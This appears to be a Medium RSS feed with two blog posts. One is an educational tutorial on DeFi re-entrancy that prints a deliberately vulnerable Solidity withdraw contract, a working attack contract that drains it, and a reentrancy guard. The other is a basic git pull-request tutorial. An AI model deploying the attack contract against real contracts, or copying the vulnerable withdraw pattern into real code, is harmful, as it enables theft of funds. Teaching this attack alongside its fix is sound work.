<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ogedengbe Israel on Medium]]></title>
        <description><![CDATA[Stories by Ogedengbe Israel on Medium]]></description>
        <link>https://medium.com/@olamideisreal5?source=rss-1bdea8c92329------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Ogedengbe Israel on Medium</title>
            <link>https://medium.com/@olamideisreal5?source=rss-1bdea8c92329------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 18:23:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@olamideisreal5/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Popular Decentralized Finance Re-Entrancy Attack?]]></title>
            <link>https://medium.com/@olamideisreal5/popular-decentralized-finance-re-entrancy-attack-a4d89478ca54?source=rss-1bdea8c92329------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4d89478ca54</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[blockchain-development]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[Ogedengbe Israel]]></dc:creator>
            <pubDate>Fri, 05 Aug 2022 10:31:44 GMT</pubDate>
            <atom:updated>2022-08-05T10:31:44.910Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8zt21fh_Zef_NfMgXMpGg.png" /><figcaption>photo credits: twitter</figcaption></figure><p>Firstly what is re-entrancy? Well in computing a computer program is said to be reentrant if the whole process can be interupted before completion reinitiated and it both runs together without any errors upon execution. In the concept of decentralized finance re-entrancy can lead to a very serious susceptiblenes.</p><p>One of the most recent prey to this attack was that of Agave and Hundred Finance that happened on the 15th of march 2022, over $11millon was stolen buy the attacker on this day.</p><p>Without wasting much time what is a re-entrancy attack, how does it works, and how can it prevented.</p><p>A relatable example of how re-entrancy attacks occurs, now lets use the example of an online banking system like our regular banking system for making transfers. When you are trying to make a transfer the system would check if you have a balance of what you want to send/transfer. Take note that you can initiate the transaction severally without actually submiting any yet. If there we don’t have another check at the time of submission, the user can submit all transactions and might exceed the user actual balance, transaction is definitely going to go through. I hope this gives an insight of what re-entrancy attack does.</p><p>Let me show a simple example of how this can be executed, would make a simple contract below:</p><pre>//SPDX-License-Identifier: UNLICENSED</pre><pre>pragma solidity ^0.8.0;</pre><pre>contract testStore {</pre><pre>mapping(address =&gt; uint) public balances;</pre><pre>//function for depositing to the contract</pre><pre>function deposit() public payable {</pre><pre>require(msg.value &gt;= 1 * 10**18, &quot;Must send at least 1 ETH&quot;);</pre><pre>balances[msg.sender] += msg.value;</pre><pre>}</pre><pre>//the withdrawl function for the contract</pre><pre>function withdraw() public {</pre><pre>uint bal = balances[msg.sender];</pre><pre>require(bal &gt; 0);</pre><pre>(bool sent, ) = msg.sender.call{value: bal}(&quot;&quot;);</pre><pre>require(sent, &quot;Failed to send Ether&quot;);</pre><pre>balances[msg.sender] = 0;</pre><pre>}</pre><pre>// for reading the balance of ether in our contract<br></pre><pre>function getBalance() public view returns (uint) {</pre><pre>return address(this).balance;</pre><pre>}</pre><pre>}</pre><p>The testStore is a simple contract for storing/depositing, withdrawal and to read the balance of the contract. If you look closely at the withdrawal function you can see that there is a check to see if that address has upto the amount of ether he wants to withdraw, and no check upon completion. In this type of contract you can apply a re-entrant attack here. For test purposes use fund this contract with 2ether so we can get to see how re-entrancy works.</p><p>lets have the re-rentrancy attack contract below, so you can get to understand this better.</p><pre>//SPDX-License-Identifier: UNLICENSED</pre><pre>pragma solidity ^0.8.0;</pre><pre>import &#39;./testStore.sol&#39;;</pre><pre>contract Attack {</pre><pre>testStore public etherStore;</pre><pre>constructor(address _testStoreAddress) {</pre><pre>etherStore = testStore(_testStoreAddress);</pre><pre>}</pre><pre>// Fallback is called when testStore sends Ether to this contract.</pre><pre>fallback() external payable {</pre><pre>if (address(etherStore).balance &gt;= 1 ether) {</pre><pre>etherStore.withdraw();</pre><pre>}</pre><pre>}</pre><pre>function attack() external payable {</pre><pre>require(msg.value &gt;= 1 ether);</pre><pre>etherStore.deposit{value: 1 ether}();</pre><pre>etherStore.withdraw();</pre><pre>}</pre><pre>// Helper function to check the balance of this contract</pre><pre>function getBalance() public view returns (uint) {</pre><pre>return address(this).balance;</pre><pre>}</pre><pre>}</pre><p>This is out attack.sol contract, What really happened? Attack was able to call testStore.withdraw multiple times before testStore.withdraw finished executing. You can try this out, note its for educational purposes only.</p><p>Below is a very basic reentrancy guard contract:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.13;</pre><pre>contract ReEntrancyGuard {<br>    bool internal locked;</pre><pre>modifier noReentrant() {<br>        require(!locked, &quot;No re-entrancy&quot;);<br>        locked = true;<br>        _;<br>        locked = false;<br>    }<br>}</pre><p>I hope we learnt something today? See you in my next post</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4d89478ca54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Contributing To Open Source Projects]]></title>
            <link>https://medium.com/@olamideisreal5/contributing-to-open-source-projects-a6e41449180c?source=rss-1bdea8c92329------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6e41449180c</guid>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[collaboration]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[programming-education]]></category>
            <dc:creator><![CDATA[Ogedengbe Israel]]></dc:creator>
            <pubDate>Tue, 28 Jun 2022 12:27:20 GMT</pubDate>
            <atom:updated>2022-06-28T12:27:20.120Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqKMzKUzdI3AtCSgHR7qhw.jpeg" /><figcaption>credit — twitter</figcaption></figure><p>First what is open source? <strong>Open source</strong> is source code that is made freely available for possible modification and redistribution. Products include permission to use the source code, design documents, or content of the product. The <strong>open-source model</strong> is a decentralised software development model that encourages open collaboration.</p><p>Participating in open source projects gives you the opportunity to become part of the open source communities, and you definitely get to learn more.</p><p>Now the big question is how do you make pull request, and take permission from the maintainers to merge it.</p><p>So before going into this tutorials you need to understand how to use git, like the basis of git. You need to create a github account to proceed with this if you don’t have one <strong>click here</strong>.</p><p>Without wasting much time the next step is to find the project you want to contribute to next, for the purpose of this tutorial i create a <a href="https://github.com/Mide001/git-clone-demo"><strong>repository here</strong></a>. Yeah it’s purposly for this tutorial alone.</p><p>The next step is to fork the repository. After getting the project that you want to contribute to, you click on the “<strong>FORK” </strong>button, doing this would copy the whole project under your github user and the link is going to look like this below:</p><p><a href="https://github.com/YourUserName/git-clone-demo%60">https://github.com/YourUserName/git-clone-demo</a></p><p>The next thing to do is to clone your repository. To do that simply open your terminal or command line and run this command there. This would create a local copy of your repository</p><p>git clone <a href="https://github.com/YourUserName/git-clone-demo.git">https://github.com/YourUserName/git-clone-demo.git</a></p><p>The next step is to create a new remote for upstream repository, use the command below to do this.</p><p>git remote add upstream <a href="https://github.com/mide001/git-clone-demo.git">https://github.com/mide001/git-clone-demo.git</a></p><p>The next step is to create a new branch, copy the code below to do this. This would create a new brach and automatically switch to it</p><p>git checkout -b my-branch</p><p>The next step is to add some code, it time for you to make changes to the project you want to contribute to after making. Done making changes? You can check out your changes by running git status . If the changes were made effectively then we can add the code to our stagging area using:</p><p>git add .</p><p>Yeah the next step is to commit your changes. Run this command to do so</p><p>git commit -m &quot;Made new changes to my-branch&quot;</p><p>It’s time to push changes to your repository, the command for this is git push</p><p>git push -u origin my-branch</p><p>Finally you create a pull request, after pushing changes to your repository. Go to the repository and click on the “Compare and Pull Request” button.</p><p>After a while the maintainer of the repository would merge your pull request.</p><h3>Hurray!!! You have sucessfully made your first open source contribution</h3><p>Do you have any questions? If yes you can send a dm on <a href="https://twitter.com/techwithmide">twitter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6e41449180c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>